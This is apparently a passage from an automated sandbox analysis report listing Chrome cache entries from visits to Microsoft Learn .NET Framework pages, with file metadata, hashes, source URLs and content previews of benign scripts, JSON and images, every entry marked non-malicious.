SHA-512:	EE879CC90BF7EF0BE89670D0F0D7F6A85A37324D0C892694D78AE81A28692BE6045A0B59588549533D9AC8E6FC91978778999E37942B530E979D403D95E2D0CD
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	25422
Entropy (8bit):	5.151101794904936
Encrypted:	false
SSDEEP:	768:63jLjnjrjGjXMQjtzjMFzXYHv1gWj/rlOVqnACpK3o3hhl0OU2/8BlsRw/6szFr7:aHBQv11pOVqlh382/rIN1D
MD5:	B5C4D5CE538E3982A376EC2923192D6B
SHA1:	A1BD7A4345A58117D6201305E0B5CB893C827BAD
SHA-256:	5F999F0A104864DCE808453CEBB0B7291ADCDF2516E40011B0BB4E9ACCD71C0C
SHA-512:	87A71EF2621453B2DE11DA60E02EED762F9FFBAD9D7052CB95CD1FBB6311E8AE3E5D430FC2315AC3FC20A06E627EAD95FC5E4F5B0AA17206728120A4CA9FB6AA
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	dropped
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	dropped
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
